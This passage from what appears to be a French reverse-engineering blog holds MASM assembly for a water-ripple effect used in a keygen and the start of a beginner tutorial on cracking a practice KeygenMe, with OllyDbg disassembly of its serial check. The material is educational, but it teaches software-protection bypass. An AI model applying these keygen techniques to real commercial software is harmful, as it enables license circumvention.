            mov ecx,2147483647  ;2^31-1
            div ecx
            mov eax,[ebx].dwRandom
            mov [ebx].dwRandom,edx
            and eax,0000ffffh
            pop ecx
            pop edx
            ret

    _WaveRandom16   endp
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    _WaveRandom proc    uses ebx ecx edx _lpWaveObject,_dwMax

            invoke  _WaveRandom16,_lpWaveObject
            mov edx,eax
            invoke  _WaveRandom16,_lpWaveObject
            shl eax,16
            or  ax,dx
            mov ecx,_dwMax
            or  ecx,ecx
            jz  @F
            xor edx,edx
            div ecx
            mov eax,edx
            @@:
            ret

    _WaveRandom endp
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; ²šÄÜÀ©É¢
    ; Ëã·š£º
    ; Wave2(x,y) = (Wave1(x+1,y)+Wave1(x-1,y)+Wave1(x,y+1)+Wave1(x,y-1))/2-Wave2(x,y)
    ; Wave2(x,y) = Wave2(x,y) - Wave2(x,y) >> 5
    ; xchg Wave1,Wave2
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    _WaveSpread proc    _lpWaveObject

            pushad
            mov ebx,_lpWaveObject
            assume  ebx:ptr WAVE_OBJECT
    ;********************************************************************
            test    [ebx].dwFlag,F_WO_ACTIVE
            jz  _Ret

            mov esi,[ebx].lpWave1
            mov edi,[ebx].lpWave2
            mov ecx,[ebx].dwBmpWidth

            mov eax,[ebx].dwBmpHeight
            dec eax
            mul ecx
    ;********************************************************************
    ; ebx = width
    ; ecx = i£¬eax = max
    ;********************************************************************
            .while  ecx < eax
                push    eax
                .if [ebx].dwFlag & F_WO_ELLIPSE
                    mov edx,[esi+ecx*4-1*4]
                    add edx,[esi+ecx*4+1*4]
                    add edx,[esi+ecx*4-2*4]
                    add edx,[esi+ecx*4+2*4]
                    lea edx,[edx+edx*2]
                    add edx,[esi+ecx*4-3*4]
                    add edx,[esi+ecx*4-3*4]
                    add edx,[esi+ecx*4+3*4]
                    add edx,[esi+ecx*4+3*4]

                    lea eax,[esi+ecx*4]
                    sub eax,[ebx].dwWaveByteWidth
                    mov eax,[eax]
                    shl eax,3
                    add edx,eax

                    lea eax,[esi+ecx*4]
                    add eax,[ebx].dwWaveByteWidth
                    mov eax,[eax]
                    shl eax,3
                    add edx,eax

                    sar edx,4
                    sub edx,[edi+ecx*4]

                    mov eax,edx
                    sar eax,5
                    sub edx,eax

                    mov [edi+ecx*4],edx
                .else
                    mov edx,[esi+ecx*4-1*4]
                    add edx,[esi+ecx*4+1*4]

                    lea eax,[esi+ecx*4]
                    sub eax,[ebx].dwWaveByteWidth
                    add edx,[eax]

                    lea eax,[esi+ecx*4]
                    add eax,[ebx].dwWaveByteWidth
                    add edx,[eax]

                    sar edx,1
                    sub edx,[edi+ecx*4]

                    mov eax,edx
                    sar eax,5
                    sub edx,eax

                    mov [edi+ecx*4],edx
                .endif
                pop eax
                inc ecx
            .endw

            mov [ebx].lpWave1,edi
            mov [ebx].lpWave2,esi
    _Ret:
    ;********************************************************************
            assume  ebx:nothing
            popad
            ret

    _WaveSpread endp
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; esi -> edi, ecx = line width
    ; return = (4*Pixel(x,y)+3*Pixel(x-1,y)+3*Pixel(x+1,y)+3*Pixel(x,y+1)+3*Pixel(x,y-1))/16
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    _WaveGetPixel:
            movzx   eax,byte ptr [esi]
            shl eax,2
            movzx   edx,byte ptr [esi+3]
            lea edx,[edx+2*edx]
            add eax,edx
            movzx   edx,byte ptr [esi-3]
            lea edx,[edx+2*edx]
            add eax,edx
            movzx   edx,byte ptr [esi+ecx]
            lea edx,[edx+2*edx]
            add eax,edx
            mov edx,esi
            sub edx,ecx
            movzx   edx,byte ptr [edx]
            lea edx,[edx+2*edx]
            add eax,edx
            shr eax,4
            mov [edi],al
            inc esi
            inc edi
            ret
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; äÖÈŸ×Ó³ÌÐò£¬œ«ÐµÄÖ¡ÊýŸÝäÖÈŸµœ lpDIBitsRender ÖÐ
    ; Ëã·š£º
    ; posx = Wave1(x-1,y)-Wave1(x+1,y)+x
    ; posy = Wave1(x,y-1)-Wave1(x,y+1)+y
    ; SourceBmp(x,y) = DestBmp(posx,posy)
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    _WaveRender proc    _lpWaveObject
            local   @dwPosX,@dwPosY,@dwPtrSource,@dwFlag

            pushad
            xor eax,eax
            mov @dwFlag,eax
            mov ebx,_lpWaveObject
            assume  ebx:ptr WAVE_OBJECT

            test    [ebx].dwFlag,F_WO_ACTIVE
            jz  _Ret

            or  [ebx].dwFlag,F_WO_NEED_UPDATE
            mov esi,[ebx].lpWave1
            mov edi,[ebx].dwWaveByteWidth   ; edi = ÏñËØÖžÕë

            xor ecx,ecx
            inc ecx     ; ecx=i  --  i=1; i<height; i++
    _Loop1:
            xor edx,edx     ; edx=j  --  j=0; j<width; j++
    _Loop2:
            push    edx
    ;********************************************************************
    ; PosY=i+ÏñËØÉÏ1ÄÜÁ¿-ÏñËØÏÂ1ÄÜÁ¿
    ; PosX=j+ÏñËØ×ó1ÄÜÁ¿-ÏñËØÓÒ1ÄÜÁ¿
    ;********************************************************************
            mov eax,edi
            sub eax,[ebx].dwWaveByteWidth
            mov eax,[esi+eax]
            mov @dwPosY,eax

            mov eax,[ebx].dwWaveByteWidth
            lea eax,[edi+eax]
            mov eax,[esi+eax]
            sub @dwPosY,eax
            add @dwPosY,ecx

            mov eax,[esi+edi-4]
            sub eax,[esi+edi+4]
            add eax,edx         ;@dwPosX = eax
            mov @dwPosX,eax

            cmp eax,0
            jl  _Continue
            cmp eax,[ebx].dwBmpWidth
            jge _Continue
            mov eax,@dwPosY
            cmp eax,0
            jl  _Continue
            cmp eax,[ebx].dwBmpHeight
            jge _Continue
    ;********************************************************************
    ; ptrSource = dwPosY * dwDIByteWidth + dwPosX * 3
    ; ptrDest = i * dwDIByteWidth + j * 3
    ;********************************************************************
            mov eax,@dwPosX
            lea eax,[eax+eax*2]
            mov @dwPosX,eax
            push    edx
            mov eax,@dwPosY
            mul [ebx].dwDIByteWidth
            add eax,@dwPosX
            mov @dwPtrSource,eax

            mov eax,ecx
            mul [ebx].dwDIByteWidth
            pop edx
            lea edx,[edx+edx*2]
            add eax,edx         ;@dwPtrDest = eax
    ;********************************************************************
    ; äÖÈŸÏñËØ [ptrDest] = Ô­ÊŒÏñËØ [ptrSource]
    ;********************************************************************
            pushad
            mov ecx,@dwPtrSource
            mov esi,[ebx].lpDIBitsSource
            mov edi,[ebx].lpDIBitsRender
            lea esi,[esi+ecx]
            lea edi,[edi+eax]
            .if ecx !=  eax
                or  @dwFlag,1   ;Èç¹ûŽæÔÚÔŽÏñËغÍÄ¿±êÏñËز»Í¬£¬Ôò±íÊŸ»¹Ôڻ׎̬
                mov ecx,[ebx].dwDIByteWidth
                call    _WaveGetPixel
                call    _WaveGetPixel
                call    _WaveGetPixel
            .else
                cld
                movsw
                movsb
            .endif
            popad
    ;********************************************************************
    ; ŒÌÐøÑ­»·
    ;********************************************************************
    _Continue:
            pop edx
            inc edx
            add edi,4       ; ÏñËØ++
            cmp edx,[ebx].dwBmpWidth
            jb  _Loop2

            inc ecx
            mov eax,[ebx].dwBmpHeight
            dec eax
            cmp ecx,eax
            jb  _Loop1
    ;********************************************************************
    ; œ«äÖÈŸµÄÏñËØÊýŸÝ¿œ±Žµœ hDc ÖÐ
    ;********************************************************************
            invoke  SetDIBits,[ebx].hDcRender,[ebx].hBmpRender,0,[ebx].dwBmpHeight,\
                [ebx].lpDIBitsRender,addr [ebx].stBmpInfo,DIB_RGB_COLORS
            .if ! @dwFlag
                and [ebx].dwFlag,not F_WO_ACTIVE
            .endif
    _Ret:
    ;********************************************************************
            assume  ebx:nothing
            popad
            ret

    _WaveRender endp
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    _WaveUpdateFrame    proc    _lpWaveObject,_hDc,_bIfForce

            pushad
            mov ebx,_lpWaveObject
            assume  ebx:ptr WAVE_OBJECT

            cmp _bIfForce,0
            jnz @F
            .if [ebx].dwFlag & F_WO_NEED_UPDATE
                @@:
                invoke  BitBlt,_hDc,0,0,[ebx].dwBmpWidth,[ebx].dwBmpHeight,\
                    [ebx].hDcRender,0,0,SRCCOPY
                and [ebx].dwFlag,not F_WO_NEED_UPDATE
            .endif

            assume  ebx:nothing
            popad
            ret

    _WaveUpdateFrame    endp
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; ÈÓÒ»¿éʯͷ
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    _WaveDropStone  proc    _lpWaveObject,_dwX,_dwY,_dwSize,_dwWeight
            local   @dwMaxX,@dwMaxY

            pushad
            mov ebx,_lpWaveObject
            assume  ebx:ptr WAVE_OBJECT
    ;********************************************************************
    ; ŒÆË㷶Χ
    ;********************************************************************
            mov edx,_dwSize
            shr edx,1

            mov eax,_dwX
            mov esi,_dwY

            mov ecx,eax
            mov edi,esi
            add eax,edx     ; x + size
            sub ecx,edx     ; x - size

            push    edx
            .if [ebx].dwFlag & F_WO_ELLIPSE
                shr edx,1
            .endif
            add esi,edx     ; y + size
            sub edi,edx     ; y - size
            pop edx

            shl edx,1
            .if ! edx
                inc edx
            .endif
            mov _dwSize,edx
    ;********************************************************************
    ; ÅжϷ¶Î§µÄºÏ·šÐÔ
    ;********************************************************************
            inc eax
            cmp eax,[ebx].dwBmpWidth
            jge _Ret
            cmp ecx,1
            jl  _Ret
            inc esi
            cmp esi,[ebx].dwBmpHeight
            jge _Ret
            cmp edi,1
            jl  _Ret

            dec eax
            dec esi
    ;********************************************************************
    ; œ«·¶Î§ÄڵĵãµÄÄÜÁ¿ÖÃΪ _dwWeight
    ;********************************************************************
            mov @dwMaxX,eax
            mov @dwMaxY,esi
            .while  ecx <=  @dwMaxX
                push    edi
                .while  edi <=  @dwMaxY
                    mov eax,ecx
                    sub eax,_dwX
                    imul    eax
                    push    eax
                    mov eax,edi
                    sub eax,_dwY
                    imul    eax
                    pop edx
                    add eax,edx
                    push    eax
                    mov eax,_dwSize
                    imul    eax
                    pop edx
                    .if edx <=  eax
                        mov eax,edi
                        mul [ebx].dwBmpWidth
                        add eax,ecx
                        shl eax,2
                        add eax,[ebx].lpWave1
                        push    _dwWeight
                        pop [eax]
                    .endif
                    inc edi
                .endw
                pop edi
                inc ecx
            .endw
            or  [ebx].dwFlag,F_WO_ACTIVE
    ;********************************************************************
    _Ret:
            assume  ebx:nothing
            popad
            ret

    _WaveDropStone  endp
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; ŒÆËãÀ©É¢ÊýŸÝ¡¢äÖȟλ͌¡¢žüÐÂŽ°¿Ú¡¢ŽŠÀíÌØЧµÄ¶šÊ±Æ÷¹ý³Ì
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    _WaveTimerProc  proc    _hWnd,_uMsg,_idEvent,_dwTime

            pushad
            mov ebx,_idEvent
            assume  ebx:ptr WAVE_OBJECT

            invoke  _WaveSpread,ebx
            invoke  _WaveRender,ebx
            .if [ebx].dwFlag & F_WO_NEED_UPDATE
                invoke  GetDC,[ebx].hWnd
                invoke  _WaveUpdateFrame,ebx,eax,FALSE
                invoke  ReleaseDC,[ebx].hWnd,eax
            .endif
    ;********************************************************************
    ; ÌØЧŽŠÀí
    ;********************************************************************
            test    [ebx].dwFlag,F_WO_EFFECT
            jz  _Ret
            mov eax,[ebx].dwEffectType
    ;********************************************************************
    ; Type = 1 Óêµã£¬Param1£œËٶȣš0×î¿ì£¬ÔœŽóÔœÂý£©£¬Param2£œÓêµãŽóС£¬Param3£œÄÜÁ¿
    ;********************************************************************
            .if eax ==  1
                mov eax,[ebx].dwEffectParam1
                or  eax,eax
                jz  @F
                invoke  _WaveRandom,ebx,eax
                .if ! eax
                    @@:
                    mov eax,[ebx].dwBmpWidth
                    dec eax
                    dec eax
                    invoke  _WaveRandom,ebx,eax
                    inc eax
                    mov ecx,eax

                    mov eax,[ebx].dwBmpHeight
                    dec eax
                    dec eax
                    invoke  _WaveRandom,ebx,eax
                    inc eax
                    mov edx,eax

                    invoke  _WaveRandom,ebx,[ebx].dwEffectParam2
                    inc eax
                    mov esi,eax
                    invoke  _WaveRandom,ebx,[ebx].dwEffectParam3
                    add eax,50
                    invoke  _WaveDropStone,ebx,ecx,edx,esi,eax
                .endif
    ;********************************************************************
    ; Type = 2 ÐÐŽ¬£¬Param1£œËٶȣš0×î¿ì£¬ÔœŽóÔœ¿ì£©£¬Param2£œŽóС£¬Param3£œÄÜÁ¿
    ;********************************************************************
            .elseif eax ==  2
                inc [ebx].dwEff2Flip
                test    [ebx].dwEff2Flip,1
                jnz _Ret

                mov ecx,[ebx].dwEff2X
                mov edx,[ebx].dwEff2Y
                add ecx,[ebx].dwEff2XAdd
                add edx,[ebx].dwEff2YAdd

                cmp ecx,1
                jge @F
                sub ecx,1
                neg ecx
                neg [ebx].dwEff2XAdd
                @@:
                cmp edx,1
                jge @F
                sub edx,1
                neg edx
                neg [ebx].dwEff2YAdd
                @@:
                mov eax,[ebx].dwBmpWidth
                dec eax
                cmp ecx,eax
                jl  @F
                sub ecx,eax
                xchg    eax,ecx
                sub ecx,eax
                neg [ebx].dwEff2XAdd
                @@:
                mov eax,[ebx].dwBmpHeight
                dec eax
                cmp edx,eax
                jl  @F
                sub edx,eax
                xchg    eax,edx
                sub edx,eax
                neg [ebx].dwEff2YAdd
                @@:
                mov [ebx].dwEff2X,ecx
                mov [ebx].dwEff2Y,edx
                invoke  _WaveDropStone,ebx,ecx,edx,[ebx].dwEffectParam2,[ebx].dwEffectParam3
    ;********************************************************************
    ; Type = 3 ²šÀË£¬Param1£œÃܶȣ¬Param2£œŽóС£¬Param3£œÄÜÁ¿
    ;********************************************************************
            .elseif eax ==  3
                xor edi,edi
                .while  edi <=  [ebx].dwEffectParam1
                    mov eax,[ebx].dwBmpWidth
                    dec eax
                    dec eax
                    invoke  _WaveRandom,ebx,eax
                    inc eax
                    mov ecx,eax

                    mov eax,[ebx].dwBmpHeight
                    dec eax
                    dec eax
                    invoke  _WaveRandom,ebx,eax
                    inc eax
                    mov edx,eax

                    invoke  _WaveRandom,ebx,[ebx].dwEffectParam2
                    inc eax
                    mov esi,eax
                    invoke  _WaveRandom,ebx,[ebx].dwEffectParam3
                    invoke  _WaveDropStone,ebx,ecx,edx,esi,eax
                    inc edi
                .endw
            .endif
    _Ret:
            assume  ebx:nothing
            popad
            ret

    _WaveTimerProc  endp
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; ÊͷŶÔÏó
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    _WaveFree   proc    _lpWaveObject

            pushad
            mov ebx,_lpWaveObject
            assume  ebx:ptr WAVE_OBJECT
    ;********************************************************************
            .if [ebx].hDcRender
                invoke  DeleteDC,[ebx].hDcRender
            .endif
            .if [ebx].hBmpRender
                invoke  DeleteObject,[ebx].hBmpRender
            .endif
            .if [ebx].lpDIBitsSource
                invoke  GlobalFree,[ebx].lpDIBitsSource
            .endif
            .if [ebx].lpDIBitsRender
                invoke  GlobalFree,[ebx].lpDIBitsRender
            .endif
            .if [ebx].lpWave1
                invoke  GlobalFree,[ebx].lpWave1
            .endif
            .if [ebx].lpWave2
                invoke  GlobalFree,[ebx].lpWave2
            .endif
            invoke  KillTimer,[ebx].hWnd,ebx
            invoke  RtlZeroMemory,ebx,sizeof WAVE_OBJECT
    ;********************************************************************
            assume  ebx:nothing
            popad
            ret

    _WaveFree   endp
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; ³õÊŒ»¯¶ÔÏó
    ; ²ÎÊý£º_lpWaveObject £œ ÖžÏò WAVE_OBJECTµÄÖžÕë
    ; ·µ»Ø£ºeax = 0 ³É¹Š¡¢= 1 ʧ°Ü
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    _WaveInit   proc    _lpWaveObject,_hWnd,_hBmp,_dwSpeed,_dwType
            local   @stBmp:BITMAP,@dwReturn

            pushad
            xor eax,eax
            mov @dwReturn,eax
            mov ebx,_lpWaveObject
            assume  ebx:ptr WAVE_OBJECT
            invoke  RtlZeroMemory,ebx,sizeof WAVE_OBJECT

            .if _dwType
                or  [ebx].dwFlag,F_WO_ELLIPSE
            .endif
    ;********************************************************************
    ; »ñȡλ͌³ßŽç
    ;********************************************************************
            push    _hWnd
            pop [ebx].hWnd
            invoke  GetTickCount
            mov [ebx].dwRandom,eax

            invoke  GetObject,_hBmp,sizeof BITMAP,addr @stBmp
            .if ! eax
                @@:
                inc @dwReturn
                jmp _Ret
            .endif
            mov eax,@stBmp.bmHeight
            mov [ebx].dwBmpHeight,eax
            cmp eax,3
            jle @B
            mov eax,@stBmp.bmWidth
            mov [ebx].dwBmpWidth,eax
            cmp eax,3
            jle @B

            push    eax
            shl eax,2
            mov [ebx].dwWaveByteWidth,eax
            pop eax
            lea eax,[eax+eax*2]
            add eax,3
            and eax,not 0011b
            mov [ebx].dwDIByteWidth,eax
    ;********************************************************************
    ; ŽŽœšÓÃÓÚäÖÈŸµÄλ͌
    ;********************************************************************
            invoke  GetDC,_hWnd
            mov esi,eax
            invoke  CreateCompatibleDC,esi
            mov [ebx].hDcRender,eax
            invoke  CreateCompatibleBitmap,esi,[ebx].dwBmpWidth,[ebx].dwBmpHeight
            mov [ebx].hBmpRender,eax
            invoke  SelectObject,[ebx].hDcRender,eax
    ;********************************************************************
    ; ·ÖÅ䲚ÄÜ»º³åÇø
    ;********************************************************************
            mov eax,[ebx].dwWaveByteWidth
            mul [ebx].dwBmpHeight
            mov edi,eax
            invoke  GlobalAlloc,GPTR,edi
            mov [ebx].lpWave1,eax
            invoke  GlobalAlloc,GPTR,edi
            mov [ebx].lpWave2,eax
    ;********************************************************************
    ; ·ÖÅäÏñËØ»º³åÇø
    ;********************************************************************
            mov eax,[ebx].dwDIByteWidth
            mul [ebx].dwBmpHeight
            mov edi,eax
            invoke  GlobalAlloc,GPTR,edi
            mov [ebx].lpDIBitsSource,eax
            invoke  GlobalAlloc,GPTR,edi
            mov [ebx].lpDIBitsRender,eax
    ;********************************************************************
    ; »ñÈ¡Ô­ÊŒÏñËØÊýŸÝ
    ;********************************************************************
            mov [ebx].stBmpInfo.bmiHeader.biSize,sizeof BITMAPINFOHEADER
            push    [ebx].dwBmpWidth
            pop [ebx].stBmpInfo.bmiHeader.biWidth
            mov eax,[ebx].dwBmpHeight
            neg eax
            mov [ebx].stBmpInfo.bmiHeader.biHeight,eax
            inc [ebx].stBmpInfo.bmiHeader.biPlanes
            mov [ebx].stBmpInfo.bmiHeader.biBitCount,24
            mov [ebx].stBmpInfo.bmiHeader.biCompression,BI_RGB
            mov [ebx].stBmpInfo.bmiHeader.biSizeImage,0

            invoke  CreateCompatibleDC,esi
            push    eax
            invoke  SelectObject,eax,_hBmp
            invoke  ReleaseDC,_hWnd,esi
            pop eax
            mov esi,eax

            invoke  GetDIBits,esi,_hBmp,0,[ebx].dwBmpHeight,[ebx].lpDIBitsSource,\
                addr [ebx].stBmpInfo,DIB_RGB_COLORS
            invoke  GetDIBits,esi,_hBmp,0,[ebx].dwBmpHeight,[ebx].lpDIBitsRender,\
                addr [ebx].stBmpInfo,DIB_RGB_COLORS
            invoke  DeleteDC,esi

            .if ![ebx].lpWave1 || ![ebx].lpWave2 || ![ebx].lpDIBitsSource ||\
                ![ebx].lpDIBitsRender || ![ebx].hDcRender
                invoke  _WaveFree,ebx
                inc @dwReturn
            .endif

            invoke  SetTimer,_hWnd,ebx,_dwSpeed,addr _WaveTimerProc

            or  [ebx].dwFlag,F_WO_ACTIVE or F_WO_NEED_UPDATE
            invoke  _WaveRender,ebx
            invoke  GetDC,[ebx].hWnd
            invoke  _WaveUpdateFrame,ebx,eax,TRUE
            invoke  ReleaseDC,[ebx].hWnd,eax
    ;********************************************************************
    _Ret:
            assume  ebx:nothing
            popad
            mov eax,@dwReturn
            ret

    _WaveInit   endp
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; һЩÌØЧ
    ; ÊäÈ룺_dwType = 0   ¹Ø±ÕÌØЧ
    ;   _dwType <> 0    ¿ªÆôÌØЧ£¬²ÎÊýŸßÌåŒûÉÏÃæ
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    _WaveEffect proc    uses ebx eax _lpWaveObject,\
                _dwType,_dwParam1,_dwParam2,_dwParam3
            local   @dwMaxX,@dwMaxY

            mov ebx,_lpWaveObject
            assume  ebx:ptr WAVE_OBJECT
    ;********************************************************************
            mov eax,_dwType
            .if eax ==  0
    ;********************************************************************
    ; ¹Ø±ÕÌØЧ
    ;********************************************************************
                and [ebx].dwFlag,not F_WO_EFFECT
                mov [ebx].dwEffectType,eax
            .elseif eax ==  2
    ;********************************************************************
    ; ÐÐŽ¬ÌØЧ
    ;********************************************************************
                mov eax,_dwParam1
                mov [ebx].dwEff2XAdd,eax
                mov [ebx].dwEff2YAdd,eax

                mov eax,[ebx].dwBmpWidth
                dec eax
                dec eax
                invoke  _WaveRandom,ebx,eax
                inc eax
                mov [ebx].dwEff2X,eax

                mov eax,[ebx].dwBmpHeight
                dec eax
                dec eax
                invoke  _WaveRandom,ebx,eax
                inc eax
                mov [ebx].dwEff2Y,eax

                jmp @F
            .else
    ;********************************************************************
    ; ĬÈÏ
    ;********************************************************************
                @@:
                push    _dwType
                pop [ebx].dwEffectType
                push    _dwParam1
                pop [ebx].dwEffectParam1
                push    _dwParam2
                pop [ebx].dwEffectParam2
                push    _dwParam3
                pop [ebx].dwEffectParam3
                or  [ebx].dwFlag,F_WO_EFFECT
            .endif
    ;********************************************************************
            assume  ebx:nothing
            ret

    _WaveEffect endp
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ;
    ;
    ;
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    endif
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

    Voici un petit screen :

    Pour download mon keygen : https://www.re-xe.com/wp-content/uploads/2010/12/keygen_with_water_effect.zip

    Voilà tout, bon courage 🙂

    Merci à toi Xylitol.

    Publié dans Keygen | Laisser un commentaire

    KeyGenMe for Newbies :: Progressive KeygenMe #1

    Bonjour à tous!

    Pour mon premier post sur Re-Xe, je vous propose un petit tuto qui vise surtout les débutants en RE.
    Il s’agit ici d’exploiter un simple petit KeyGenMe, en l’analysant puis en codant rapidement un petit KeyGen.

    Vous pouvez trouver le KeygenMe ici : https://www.re-xe.com//uploads/2011/04/progressive_keygenme_1.zip

    Si on l’execute, on aperçoit une simple fenêtre, avec deux champs de texte: un pour le nom et un pour le serial, ainsi que deux boutons.
    Essayons de rentrer des infos au hasard.

    Pour ma part, j’ai testé avec ‘ryscrow’ comme nom, et ‘123456789’ en serial. Appuyez sur Check, et normalement (sauf si vous avez une chance d’enfer et que vous avez réussi à trouver le serial correspondant au hasard du premier coup) la réponse ne tarde pas à tomber, avec une fenêtre qui s’ouvre indiquant: « Et non… Retente ta chance ».

    Le but va donc être de trouver un serial correspondant au nom entré, et de réussir à trouver la routine pour le générer à partir de n’importe quel nom.

    La première chose à vérifier, c’est que l’executable n’est pas packé ni crypté. Pour celà, un simple outil comme PEiD suffit.
    On lance PEiD, on ajoute l’executable à tester, et PEiD nous informe que rien n’a été trouvé. (ce qui est normal pour un KeyGenMe destiné aux débutants…)

    On va donc ici utiliser OllyDBG pour reverser notre programme.
    Une fois lancé, OllyDBG nous place directement sur le point d’entrée du programme, à l’adresse 0x0401000.

    Dans ce cas précis, le code désassemblé est suffisament clair pour qu’on puisse se passer de debug.
    Les choses intéressantes commencent lors de l’appel à la fonction GetDlgItemTextA.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    0040106B   |.  83F8 05              CMP EAX,5
    0040106E   |.  72 7E                JB SHORT 004010EE
    00401070   |.  83F8 14              CMP EAX,14
    00401073   |.  0F87 8C000000        JA 00401105
    00401079   |.  89C1                 MOV ECX,EAX
    0040107B   |.  8D35 00204000        LEA ESI,[402000]
    00401081   |.  31DB                 XOR EBX,EBX
    00401083   |&gt;  0FB606               /MOVZX EAX,BYTE PTR [ESI]
    00401086   |.  01C3                 |ADD EBX,EAX
    00401088   |.  46                   |INC ESI
    00401089   |.^ E2 F8                \LOOPD SHORT 00401083
    0040108B   |.  53                   PUSH EBX                     ; /&lt;%i&gt;
    0040108C   |.  68 63204000          PUSH 00402063                ; |Format = "%i"
    00401091   |.  68 42204000          PUSH 00402042                ; |s = progress.00402042
    00401096   |.  FF15 C2304000        CALL [&lt;&amp;USER32.wsprintfA&gt;]   ; \wsprintfA
    0040109C   |.  6A 20                PUSH 20                      ; /Count = 20 (32.)
    0040109E   |.  68 21204000          PUSH 00402021                ; |Buffer = progress.00402021
    004010A3   |.  6A 66                PUSH 66                      ; |ControlID = 66 (102.)
    004010A5   |.  FF75 08              PUSH DWORD PTR [EBP+8]       ; |hWnd
    004010A8   |.  FF15 BE304000        CALL [&lt;&amp;USER32.GetDlgItemTex&gt;; \GetDlgItemTextA
    004010AE   |.  68 21204000          PUSH 00402021                ; /String2 = ""
    004010B3   |.  68 42204000          PUSH 00402042                ; |String1 = ""
    004010B8   |.  FF15 6A304000        CALL [&lt;&amp;KERNEL32.lstrcmp&gt;]   ; \lstrcmpA
    004010BE   |.  75 17                JNZ SHORT 004010D7
    004010C0   |.  6A 00                PUSH 0                       ; /Style = MB_OK|MB_APPLMODAL
    004010C2   |.  68 66204000          PUSH 00402066                ; |Title = "Progressive KeygenMe #1"
    004010C7   |.  68 7E204000          PUSH 0040207E                ; |Text = "Bravooo !!!",LF,CR,"Maintenant code un keygen et si t'es",LF,CR,"motiv",E9," un tutorial est le bienvenu."
    004010CC   |.  FF75 08              PUSH DWORD PTR [EBP+8]       ; |hOwner
    004010CF   |.  FF15 C6304000        CALL [&lt;&amp;USER32.MessageBoxA&gt;] ; \MessageBoxA
    004010D5   |.  EB 67                JMP SHORT 0040113E
    004010D7   |&gt;  6A 00                PUSH 0                       ; /Style = MB_OK|MB_APPLMODAL
    004010D9   |.  68 66204000          PUSH 00402066                ; |Title = "Progressive KeygenMe #1"
    004010DE   |.  68 D5204000          PUSH 004020D5                ; |Text = "Et non...",LF,CR,"Retente ta chance"
    004010E3   |.  FF75 08              PUSH DWORD PTR [EBP+8]       ; |hOwner
    004010E6   |.  FF15 C6304000        CALL [&lt;&amp;USER32.MessageBoxA&gt;] ; \MessageBoxA
    004010EC   |.  EB 50                JMP SHORT 0040113E
    004010EE   |&gt;  6A 00                PUSH 0                       ; /Style = MB_OK|MB_APPLMODAL
    004010F0   |.  68 66204000          PUSH 00402066                ; |Title = "Progressive KeygenMe #1"
    004010F5   |.  68 21214000          PUSH 00402121                ; |Text = "Le nom doit faire au moins 5 caract",E8,"res"
    004010FA   |.  FF75 08              PUSH DWORD PTR [EBP+8]       ; |hOwner
    004010FD   |.  FF15 C6304000        CALL [&lt;&amp;USER32.MessageBoxA&gt;] ; \MessageBoxA
    00401103   |.  EB 39                JMP SHORT 0040113E
    00401105   |&gt;  6A 00                PUSH 0                       ; /Style = MB_OK|MB_APPLMODAL
    00401107   |.  68 66204000          PUSH 00402066                ; |Title = "Progressive KeygenMe #1"
    0040110C   |.  68 F2204000          PUSH 004020F2                ; |Text = "Le nom ne doit pas faire plus de 20 caract",E8,"res"
    00401111   |.  FF75 08              PUSH DWORD PTR [EBP+8]       ; |hOwner
    00401114   |.  FF15 C6304000        CALL [&lt;&amp;USER32.MessageBoxA&gt;] ; \MessageBoxA
    0040111A   |.  EB 22                JMP SHORT 0040113E
